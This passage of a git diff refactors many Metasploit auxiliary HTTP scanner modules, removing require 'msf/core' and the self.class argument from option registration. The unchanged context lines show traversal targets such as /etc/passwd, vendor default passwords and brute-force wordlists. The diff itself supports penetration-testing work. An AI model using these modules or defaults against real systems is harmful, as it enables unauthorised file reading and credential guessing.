b/modules/auxiliary/scanner/http/pocketpad_login.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/scanner/http/prev_dir_same_name_file.rb b/modules/auxiliary/scanner/http/prev_dir_same_name_file.rb index 8a219052e8..b140664457 100644 --- a/modules/auxiliary/scanner/http/prev_dir_same_name_file.rb +++ b/modules/auxiliary/scanner/http/prev_dir_same_name_file.rb @@ -4,8 +4,6 @@ ## require 'rex/proto/http' -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -29,7 +27,7 @@ class MetasploitModule < Msf::Auxiliary [ OptString.new('PATH', [ true, "The test path. The default value will not work.", '/']), OptString.new('EXT', [ true, "Extension to include.", '.aspx']), - ], self.class) + ]) end diff --git a/modules/auxiliary/scanner/http/radware_appdirector_enum.rb b/modules/auxiliary/scanner/http/radware_appdirector_enum.rb index 0945bceb3a..7d88ebec0b 100644 --- a/modules/auxiliary/scanner/http/radware_appdirector_enum.rb +++ b/modules/auxiliary/scanner/http/radware_appdirector_enum.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -37,7 +35,7 @@ class MetasploitModule < Msf::Auxiliary OptBool.new('STOP_ON_SUCCESS', [ true, "Stop guessing when a credential works for a host", true]), OptString.new('USERNAME', [true, "A specific username to authenticate as, default 'radware'", "radware"]), OptString.new('PASSWORD', [true, "A specific password to authenticate with, deault 'radware'", "radware"]) - ], self.class) + ]) deregister_options('HttpUsername', 'HttpPassword') end diff --git a/modules/auxiliary/scanner/http/rails_json_yaml_scanner.rb b/modules/auxiliary/scanner/http/rails_json_yaml_scanner.rb index a156661b3a..9fe94ad34a 100644 --- a/modules/auxiliary/scanner/http/rails_json_yaml_scanner.rb +++ b/modules/auxiliary/scanner/http/rails_json_yaml_scanner.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -32,7 +30,7 @@ class MetasploitModule < Msf::Auxiliary register_options([ OptString.new('TARGETURI', [true, "The URI to test", "/"]), OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST', 'PUT']]), - ], self.class) + ]) end def send_probe(pdata) diff --git a/modules/auxiliary/scanner/http/rails_mass_assignment.rb b/modules/auxiliary/scanner/http/rails_mass_assignment.rb index 6016a75b8a..bdd2fd0835 100644 --- a/modules/auxiliary/scanner/http/rails_mass_assignment.rb +++ b/modules/auxiliary/scanner/http/rails_mass_assignment.rb @@ -4,7 +4,6 @@ ## require 'rex/proto/http' -require 'msf/core' require 'uri' class MetasploitModule < Msf::Auxiliary @@ -40,7 +39,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('QUERY', [ false, "HTTP URI Query", nil]), OptString.new('DATA', [ false, "HTTP Body Data", '']), OptString.new('COOKIE',[ false, "HTTP Cookies", '']) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb b/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb index c1dfa907e7..24f1259a19 100644 --- a/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb +++ b/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -32,7 +30,7 @@ class MetasploitModule < Msf::Auxiliary register_options([ OptString.new('URIPATH', [true, "The URI to test", "/"]), OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST', 'PUT'] ]), - ], self.class) + ]) end def send_probe(ptype, pdata) diff --git a/modules/auxiliary/scanner/http/replace_ext.rb b/modules/auxiliary/scanner/http/replace_ext.rb index c48ab07a08..634a58f24d 100644 --- a/modules/auxiliary/scanner/http/replace_ext.rb +++ b/modules/auxiliary/scanner/http/replace_ext.rb @@ -4,7 +4,6 @@ ## require 'rex/proto/http' -require 'msf/core' require 'pathname' @@ -30,7 +29,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('PATH', [ true, "The path/file to identify additional files", '/default.asp']), - ], self.class) + ]) register_advanced_options( [ @@ -40,7 +39,7 @@ class MetasploitModule < Msf::Auxiliary ] ), OptBool.new('NoDetailMessages', [ false, "Do not display detailed test messages", true ]) - ], self.class) + ]) end diff --git a/modules/auxiliary/scanner/http/rewrite_proxy_bypass.rb b/modules/auxiliary/scanner/http/rewrite_proxy_bypass.rb index 4da2079121..f592f996d7 100644 --- a/modules/auxiliary/scanner/http/rewrite_proxy_bypass.rb +++ b/modules/auxiliary/scanner/http/rewrite_proxy_bypass.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner @@ -45,7 +43,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('BASELINE_URI', [true, 'Requested to establish that EXPECTED_RESPONSE is not the usual response', '/']), - ], self.class) + ]) end def make_request(host, uri, timeout=20) diff --git a/modules/auxiliary/scanner/http/rfcode_reader_enum.rb b/modules/auxiliary/scanner/http/rfcode_reader_enum.rb index 9bd3cc4909..e48c30f220 100644 --- a/modules/auxiliary/scanner/http/rfcode_reader_enum.rb +++ b/modules/auxiliary/scanner/http/rfcode_reader_enum.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -31,7 +29,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptBool.new('STOP_ON_SUCCESS', [ true, "Stop guessing when a credential works for a host", true]) - ], self.class) + ]) end diff --git a/modules/auxiliary/scanner/http/rips_traversal.rb b/modules/auxiliary/scanner/http/rips_traversal.rb index fb1a847654..6167abdb7b 100644 --- a/modules/auxiliary/scanner/http/rips_traversal.rb +++ b/modules/auxiliary/scanner/http/rips_traversal.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report @@ -37,7 +35,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('TARGETURI', [ true, "The URI path to the web application", "/rips/"]), OptString.new('FILEPATH', [true, "The path to the file to read", "/etc/passwd"]), OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 5 ]) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/http/robots_txt.rb b/modules/auxiliary/scanner/http/robots_txt.rb index 10f20fe6d6..21d9d567a4 100644 --- a/modules/auxiliary/scanner/http/robots_txt.rb +++ b/modules/auxiliary/scanner/http/robots_txt.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -28,7 +26,7 @@ class MetasploitModule < Msf::Auxiliary [ OptString.new('PATH', [ true, "The test path to find robots.txt file", '/']), - ], self.class) + ]) end diff --git a/modules/auxiliary/scanner/http/s40_traversal.rb b/modules/auxiliary/scanner/http/s40_traversal.rb index a4c42efdba..6f57a4cd5f 100644 --- a/modules/auxiliary/scanner/http/s40_traversal.rb +++ b/modules/auxiliary/scanner/http/s40_traversal.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -39,7 +37,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new("FILE", [true, 'The file to retrieve', '/etc/passwd']), OptBool.new('SAVE', [false, 'Save the HTTP body', false]), OptInt.new("DEPTH", [true, 'Traversal depth', 10]) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/http/sap_businessobjects_user_brute.rb b/modules/auxiliary/scanner/http/sap_businessobjects_user_brute.rb index ead59e4e57..ecf1b3627c 100644 --- a/modules/auxiliary/scanner/http/sap_businessobjects_user_brute.rb +++ b/modules/auxiliary/scanner/http/sap_businessobjects_user_brute.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -34,7 +32,7 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(8080), OptString.new('URI', [false, 'Path to the SAP BusinessObjects Axis2', '/dswsbobje']), - ], self.class) + ]) register_autofilter_ports([ 8080 ]) end diff --git a/modules/auxiliary/scanner/http/sap_businessobjects_user_brute_web.rb b/modules/auxiliary/scanner/http/sap_businessobjects_user_brute_web.rb index ddd41a24b6..74ea7b1c92 100644 --- a/modules/auxiliary/scanner/http/sap_businessobjects_user_brute_web.rb +++ b/modules/auxiliary/scanner/http/sap_businessobjects_user_brute_web.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -30,7 +28,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RPORT(6405), - ], self.class) + ]) register_autofilter_ports([ 6405 ]) end diff --git a/modules/auxiliary/scanner/http/sap_businessobjects_user_enum.rb b/modules/auxiliary/scanner/http/sap_businessobjects_user_enum.rb index 51b10cf29b..1a510f72fe 100644 --- a/modules/auxiliary/scanner/http/sap_businessobjects_user_enum.rb +++ b/modules/auxiliary/scanner/http/sap_businessobjects_user_enum.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -36,7 +34,7 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(8080), OptString.new('URI', [false, 'Path to the SAP BusinessObjects Axis2', '/dswsbobje']), - ], self.class) + ]) register_autofilter_ports([ 8080 ]) end diff --git a/modules/auxiliary/scanner/http/sap_businessobjects_version_enum.rb b/modules/auxiliary/scanner/http/sap_businessobjects_version_enum.rb index 930dd36d87..7108da59b9 100644 --- a/modules/auxiliary/scanner/http/sap_businessobjects_version_enum.rb +++ b/modules/auxiliary/scanner/http/sap_businessobjects_version_enum.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -30,7 +28,7 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(8080), OptString.new('URI', [false, 'Path to the SAP BusinessObjects Axis2', '/dswsbobje']), - ], self.class) + ]) register_autofilter_ports([ 8080 ]) deregister_options('RHOST') end diff --git a/modules/auxiliary/scanner/http/scraper.rb b/modules/auxiliary/scanner/http/scraper.rb index 4533882e40..67da134ee7 100644 --- a/modules/auxiliary/scanner/http/scraper.rb +++ b/modules/auxiliary/scanner/http/scraper.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -29,7 +27,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('PATH', [ true, "The test path to the page to analize", '/']), OptRegexp.new('PATTERN', [ true, "The regex to use (default regex is a sample to grab page title)", '(.*)']) - ], self.class) + ]) end diff --git a/modules/auxiliary/scanner/http/sentry_cdu_enum.rb b/modules/auxiliary/scanner/http/sentry_cdu_enum.rb index f5481de390..36984d412f 100644 --- a/modules/auxiliary/scanner/http/sentry_cdu_enum.rb +++ b/modules/auxiliary/scanner/http/sentry_cdu_enum.rb @@ -4,8 +4,6 @@ ## require 'rex/proto/http' -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -32,7 +30,7 @@ class MetasploitModule < Msf::Auxiliary [ OptString.new('USERNAME', [true, "A specific username to authenticate as, default 'admn'", "admn"]), OptString.new('PASSWORD', [true, "A specific password to authenticate with, deault 'admn'", "admn"]) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/http/servicedesk_plus_traversal.rb b/modules/auxiliary/scanner/http/servicedesk_plus_traversal.rb index cd1f376ed9..d575aa289c 100644 --- a/modules/auxiliary/scanner/http/servicedesk_plus_traversal.rb +++ b/modules/auxiliary/scanner/http/servicedesk_plus_traversal.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -35,7 +33,7 @@ class MetasploitModule < Msf::Auxiliary OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 7 ]), OptString.new('TARGETURI', [true, 'The base path to the ServiceDesk Plus installation', '/']), OptString.new('FILE', [true, 'The file to retrieve', '/windows/win.ini']) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/http/sevone_enum.rb b/modules/auxiliary/scanner/http/sevone_enum.rb index 2551a650e7..baeb4f9a8f 100644 --- a/modules/auxiliary/scanner/http/sevone_enum.rb +++ b/modules/auxiliary/scanner/http/sevone_enum.rb @@ -4,8 +4,6 @@ ## require 'rex/proto/http' -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -31,7 +29,7 @@ class MetasploitModule < Msf::Auxiliary [ OptString.new('USERNAME', [false, 'A specific username to authenticate as', 'admin']), OptString.new('PASSWORD', [false, 'A specific password to authenticate with', 'SevOne']) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/http/simple_webserver_traversal.rb b/modules/auxiliary/scanner/http/simple_webserver_traversal.rb index 6e556b22b2..6492ebc66c 100644 --- a/modules/auxiliary/scanner/http/simple_webserver_traversal.rb +++ b/modules/auxiliary/scanner/http/simple_webserver_traversal.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Scanner @@ -37,7 +35,7 @@ class MetasploitModule < Msf::Auxiliary [ OptString.new('FILEPATH', [true, 'The name of the file to download', 'windows\\win.ini']), OptInt.new('DEPTH', [true, 'The max traversal depth', 8]) - ], self.class) + ]) deregister_options('RHOST') end diff --git a/modules/auxiliary/scanner/http/smt_ipmi_49152_exposure.rb b/modules/auxiliary/scanner/http/smt_ipmi_49152_exposure.rb index db3b4664b9..90eee7303e 100644 --- a/modules/auxiliary/scanner/http/smt_ipmi_49152_exposure.rb +++ b/modules/auxiliary/scanner/http/smt_ipmi_49152_exposure.rb @@ -4,8 +4,6 @@ ## require 'uri' -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -41,7 +39,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RPORT(49152) - ], self.class) + ]) end def is_supermicro? diff --git a/modules/auxiliary/scanner/http/smt_ipmi_cgi_scanner.rb b/modules/auxiliary/scanner/http/smt_ipmi_cgi_scanner.rb index cb90ba8639..92656aeace 100644 --- a/modules/auxiliary/scanner/http/smt_ipmi_cgi_scanner.rb +++ b/modules/auxiliary/scanner/http/smt_ipmi_cgi_scanner.rb @@ -4,8 +4,6 @@ ## require 'uri' -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/scanner/http/smt_ipmi_static_cert_scanner.rb b/modules/auxiliary/scanner/http/smt_ipmi_static_cert_scanner.rb index b5ed85615d..613efbc102 100644 --- a/modules/auxiliary/scanner/http/smt_ipmi_static_cert_scanner.rb +++ b/modules/auxiliary/scanner/http/smt_ipmi_static_cert_scanner.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp @@ -57,7 +55,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RPORT(443), - ], self.class) + ]) end # Fingerprint a single host diff --git a/modules/auxiliary/scanner/http/smt_ipmi_url_redirect_traversal.rb b/modules/auxiliary/scanner/http/smt_ipmi_url_redirect_traversal.rb index ad85196211..ca496b9e89 100644 --- a/modules/auxiliary/scanner/http/smt_ipmi_url_redirect_traversal.rb +++ b/modules/auxiliary/scanner/http/smt_ipmi_url_redirect_traversal.rb @@ -4,8 +4,6 @@ ## require 'uri' -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -47,7 +45,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('FILEPATH', [true, 'The name of the file to download', '/nv/PSBlock']), OptString.new('PASSWORD', [true, 'Password for Supermicro Web Interface', 'ADMIN']), OptString.new('USERNAME', [true, 'Username for Supermicro Web Interface', 'ADMIN']) - ], self.class) + ]) end def my_basename(filename) diff --git a/modules/auxiliary/scanner/http/soap_xml.rb b/modules/auxiliary/scanner/http/soap_xml.rb index 7b79dae7cf..9495fdd629 100644 --- a/modules/auxiliary/scanner/http/soap_xml.rb +++ b/modules/auxiliary/scanner/http/soap_xml.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary # Exploit mixins should be called first @@ -36,7 +34,7 @@ class MetasploitModule < Msf::Auxiliary OptBool.new('DISPLAYHTML', [true, 'Display HTML response', false]), OptBool.new('SSL', [true, 'Use SSL', false]), OptBool.new('VERB_DELETE', [false, 'Enable DELETE verb', false]) - ], self.class) + ]) end # Fingerprint a single host diff --git a/modules/auxiliary/scanner/http/sockso_traversal.rb b/modules/auxiliary/scanner/http/sockso_traversal.rb index 17ef2fb7bd..cba920b1c0 100644 --- a/modules/auxiliary/scanner/http/sockso_traversal.rb +++ b/modules/auxiliary/scanner/http/sockso_traversal.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Scanner @@ -36,7 +34,7 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(4444), OptString.new('FILEPATH', [false, 'The name of the file to download', 'windows\\system.ini']) - ], self.class) + ]) deregister_options('RHOST') end diff --git a/modules/auxiliary/scanner/http/splunk_web_login.rb b/modules/auxiliary/scanner/http/splunk_web_login.rb index 329a3d0257..2dffa7a550 100644 --- a/modules/auxiliary/scanner/http/splunk_web_login.rb +++ b/modules/auxiliary/scanner/http/splunk_web_login.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -41,7 +39,7 @@ class MetasploitModule < Msf::Auxiliary File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]), OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line", File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt") ]) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/http/squid_pivot_scanning.rb b/modules/auxiliary/scanner/http/squid_pivot_scanning.rb index 0e51d19f55..ce98f1db2c 100644 --- a/modules/auxiliary/scanner/http/squid_pivot_scanning.rb +++ b/modules/auxiliary/scanner/http/squid_pivot_scanning.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/socket/range_walker' class MetasploitModule < Msf::Auxiliary @@ -45,7 +44,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('PORTS', [true, "Ports to scan; must be TCP", "21,80,139,443,445,1433,1521,1723,3389,8080,9100"]), OptBool.new('MANUAL_CHECK',[true,"Stop the scan if server seems to answer positively to every request",true]), OptString.new('CANARY_IP',[true,"The IP to check if the proxy always answers positively; the IP should not respond.","1.2.3.4"]) - ], self.class) + ]) end diff --git a/modules/auxiliary/scanner/http/squiz_matrix_user_enum.rb b/modules/auxiliary/scanner/http/squiz_matrix_user_enum.rb index 043a2942e9..e9c32a6c9b 100644 --- a/modules/auxiliary/scanner/http/squiz_matrix_user_enum.rb +++ b/modules/auxiliary/scanner/http/squiz_matrix_user_enum.rb @@ -4,8 +4,6 @@ ## require 'rex/proto/http' -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -43,7 +41,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('TARGETURI', [true, 'The path to users Squiz Matrix installation', '/']), OptInt.new('ASSETBEGIN', [ true, "Asset ID to start at", 1]), OptInt.new('ASSETEND', [ true, "Asset ID to stop at", 100]), - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/http/ssl.rb b/modules/auxiliary/scanner/http/ssl.rb index 2ac6033fb3..4bac5134a4 100644 --- a/modules/auxiliary/scanner/http/ssl.rb +++ b/modules/auxiliary/scanner/http/ssl.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp @@ -28,7 +26,7 @@ class MetasploitModule < Msf::Auxiliary ) register_options([ Opt::RPORT(443) - ], self.class) + ]) end # Fingerprint a single host diff --git a/modules/auxiliary/scanner/http/ssl_version.rb b/modules/auxiliary/scanner/http/ssl_version.rb index 40b22af0f8..2438ed200b 100644 --- a/modules/auxiliary/scanner/http/ssl_version.rb +++ b/modules/auxiliary/scanner/http/ssl_version.rb @@ -4,8 +4,6 @@ ## require 'rex/proto/http' -require 'msf/core' - class MetasploitModule < Msf::Auxiliary diff --git a/modules/auxiliary/scanner/http/support_center_plus_directory_traversal.rb b/modules/auxiliary/scanner/http/support_center_plus_directory_traversal.rb index cccf57bee8..9997fd6198 100644 --- a/modules/auxiliary/scanner/http/support_center_plus_directory_traversal.rb +++ b/modules/auxiliary/scanner/http/support_center_plus_directory_traversal.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -41,7 +39,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('USER', [true, 'The Support Center Plus user', 'guest']), OptString.new('PASS', [true, 'The Support Center Plus password', 'guest']), OptString.new('FILE', [true, 'The Support Center Plus password', '/etc/passwd']) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/http/svn_scanner.rb b/modules/auxiliary/scanner/http/svn_scanner.rb index be40bb0c17..77466631d0 100644 --- a/modules/auxiliary/scanner/http/svn_scanner.rb +++ b/modules/auxiliary/scanner/http/svn_scanner.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary # Exploit mixins should be called first @@ -28,7 +26,7 @@ class MetasploitModule < Msf::Auxiliary OptBool.new('GET_SOURCE', [ false, "Attempt to obtain file source code", true ]), OptBool.new('SHOW_SOURCE', [ false, "Show source code", true ]) - ], self.class) + ]) register_advanced_options( [ @@ -39,7 +37,7 @@ class MetasploitModule < Msf::Auxiliary ), OptBool.new('NoDetailMessages', [ false, "Do not display detailed test messages", true ]) - ], self.class) + ]) end def run_host(target_host) diff --git a/modules/auxiliary/scanner/http/svn_wcdb_scanner.rb b/modules/auxiliary/scanner/http/svn_wcdb_scanner.rb index f15b931185..2f10c6cb7c 100644 --- a/modules/auxiliary/scanner/http/svn_wcdb_scanner.rb +++ b/modules/auxiliary/scanner/http/svn_wcdb_scanner.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -34,7 +32,7 @@ class MetasploitModule < Msf::Auxiliary register_advanced_options( [ OptString.new('TARGETURI', [false, 'Base path to the .svn directory', '/.svn/']) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/http/sybase_easerver_traversal.rb b/modules/auxiliary/scanner/http/sybase_easerver_traversal.rb index d8e49a4e95..6080fb4e8e 100644 --- a/modules/auxiliary/scanner/http/sybase_easerver_traversal.rb +++ b/modules/auxiliary/scanner/http/sybase_easerver_traversal.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Scanner @@ -39,7 +37,7 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(8000), OptString.new("FILEPATH", [false, 'Specify a parameter for the action']) - ], self.class) + ]) deregister_options('RHOST') end diff --git a/modules/auxiliary/scanner/http/symantec_brightmail_ldapcreds.rb b/modules/auxiliary/scanner/http/symantec_brightmail_ldapcreds.rb index a865e1b412..944b2ae5c4 100644 --- a/modules/auxiliary/scanner/http/symantec_brightmail_ldapcreds.rb +++ b/modules/auxiliary/scanner/http/symantec_brightmail_ldapcreds.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'digest' require "openssl" @@ -48,7 +47,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('USERNAME', [true, 'The username to login as']), OptString.new('PASSWORD', [true, 'The password to login with']), OptString.new('TARGETURI', [true, 'The base path to Symantec Messaging Gateway', '/']) - ], self.class) + ]) deregister_options('RHOST') end diff --git a/modules/auxiliary/scanner/http/symantec_brightmail_logfile.rb b/modules/auxiliary/scanner/http/symantec_brightmail_logfile.rb index b48d8560ae..03721293da 100644 --- a/modules/auxiliary/scanner/http/symantec_brightmail_logfile.rb +++ b/modules/auxiliary/scanner/http/symantec_brightmail_logfile.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Scanner @@ -44,7 +42,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('FILENAME', [true, 'The file to download', '/etc/passwd']), OptString.new('USERNAME', [true, 'The username to login as']), OptString.new('PASSWORD', [true, 'The password to login with']) - ], self.class) + ]) deregister_options('RHOST') end diff --git a/modules/auxiliary/scanner/http/symantec_web_gateway_login.rb b/modules/auxiliary/scanner/http/symantec_web_gateway_login.rb index 5488abffad..daa8537a7b 100644 --- a/modules/auxiliary/scanner/http/symantec_web_gateway_login.rb +++ b/modules/auxiliary/scanner/http/symantec_web_gateway_login.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'metasploit/framework/login_scanner/symantec_web_gateway' require 'metasploit/framework/credential_collection' @@ -33,7 +32,7 @@ class MetasploitModule < Msf::Auxiliary [ OptString.new('USERNAME', [false, 'The username to specify for authentication', '']), OptString.new('PASSWORD', [false, 'The password to specify for authentication', '']) - ], self.class) + ]) end diff --git a/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb b/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb index 580ab2f489..ba141e3755 100644 --- a/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb +++ b/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rexml/document' class MetasploitModule < Msf::Auxiliary @@ -37,7 +36,7 @@ class MetasploitModule < Msf::Auxiliary ] ) - register_options([Opt::RPORT(31001)], self.class) + register_options([Opt::RPORT(31001)]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/http/title.rb b/modules/auxiliary/scanner/http/title.rb index d7f662fce7..d9b8fa1f85 100644 --- a/modules/auxiliary/scanner/http/title.rb +++ b/modules/auxiliary/scanner/http/title.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary # Exploit mixins should be called first include Msf::Exploit::Remote::HttpClient @@ -28,7 +26,7 @@ class MetasploitModule < Msf::Auxiliary OptBool.new('STORE_NOTES', [ true, 'Store the captured information in notes. Use "notes -t http.title" to view', true ]), OptBool.new('SHOW_TITLES', [ true, 'Show the titles on the console as they are grabbed', true ]), OptString.new('TARGETURI', [true, 'The base path', '/']) - ], self.class) + ]) deregister_options('VHOST') end diff --git a/modules/auxiliary/scanner/http/tomcat_enum.rb b/modules/auxiliary/scanner/http/tomcat_enum.rb index 314f77b7f2..480d40c62e 100644 --- a/modules/auxiliary/scanner/http/tomcat_enum.rb +++ b/modules/auxiliary/scanner/http/tomcat_enum.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -44,7 +42,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('TARGETURI', [true, 'The path of the Apache Tomcat Administration page', '/admin/j_security_check']), OptPath.new('USER_FILE', [ true, "File containing users, one per line", File.join(Msf::Config.data_directory, "wordlists", "tomcat_mgr_default_users.txt") ]), - ], self.class) + ]) deregister_options('PASS_FILE','USERPASS_FILE','USER_AS_PASS','STOP_ON_SUCCESS','BLANK_PASSWORDS') end diff --git a/modules/auxiliary/scanner/http/tomcat_mgr_login.rb b/modules/auxiliary/scanner/http/tomcat_mgr_login.rb index 36fd6025cb..7470534eca 100644 --- a/modules/auxiliary/scanner/http/tomcat_mgr_login.rb +++ b/modules/auxiliary/scanner/http/tomcat_mgr_login.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'metasploit/framework/credential_collection' require 'metasploit/framework/login_scanner/tomcat' @@ -67,7 +66,7 @@ class MetasploitModule < Msf::Auxiliary File.join(Msf::Config.data_directory, "wordlists", "tomcat_mgr_default_users.txt") ]), OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line", File.join(Msf::Config.data_directory, "wordlists", "tomcat_mgr_default_pass.txt") ]), - ], self.class) + ]) register_autofilter_ports([ 80, 443, 8080, 8081, 8000, 8008, 8443, 8444, 8880, 8888, 9080, 19300 